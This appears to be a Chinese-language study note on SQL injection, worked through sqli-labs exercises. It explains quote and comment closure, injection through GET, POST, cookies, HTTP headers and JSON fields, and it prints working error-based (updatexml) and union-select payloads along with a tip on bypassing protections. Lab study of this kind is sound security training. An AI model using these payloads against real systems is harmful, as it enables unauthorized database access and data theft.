赞
踩
select * from user where id=1
select * from user where name=‘admin’
过滤’(单引号)和"(双引号)
select * from user where name like ‘%admin%’ 只要有admin都会被搜索出来
过滤%(百分号)和’(单引号)
★post提交方式中的一种数据交互格式
JSON格式:
json={“name”:“admin”
“age”:“18”}
$id=1 and 1=2
$sql=“SELECT * FROM users WHERE id=‘1’ and 1=2–+ LIMIT 0,1”;
–+、# 注释掉一行
使用POST方式注入大部分用到# 用url注入大部分用到–+
#闭合
必须要将语句闭合,使注入语句生效
#SQL语句干扰符号
'(单引号),"(双引号),%(百分号),)(小括号),}(大括号) 等,具体需看写法
GET、POST、COOKIE、REQUEST、HTTP头部等
GET请求传输的数据量限制在2KB左右
GET只要在url上,就能接收到请求
REQUEST请求不管是GET和POST都可以
HTTP报文头部各个参数都能注入,比如User-Agent、Cookie
tips: 切换请求方式可能达到绕过防护的效果
参数字符型注入测试 sqlilabs Less-1,2,3,4
参考:
https://blog.csdn.net/wang_624/article/details/101913584
POST数据提交注入测试 sqliabs Less-11
post 发送 不用编码
COOKIE数据提交注入测试 sqlilabs Less-20
报错注入;
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #
联合查询:
看样子好像没有
HTTP头部参数数据注入测试 sqlilabs Less-18
ad'or updatexml(1,concat(0x7e,(database())),1) or '1'='1
参数JSON数据注入测试 https://tianchi.aliyun.com/competition/entrance/531796/information
单引号只是说明它是字符串; { } 花括号是说明json 格式不影响 sql 语句判断
$sql="select * from users where username='{&username}' ";
json={"username":"admin' and 1=2 union select 1,2,3#"} ' (单引号)闭合的是SQL语句中的 '
‘#’不会注释双引号
看双引号里面的内容,判断注入语句 就行了
admin’ and 1=2 union select 1,2,3#
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。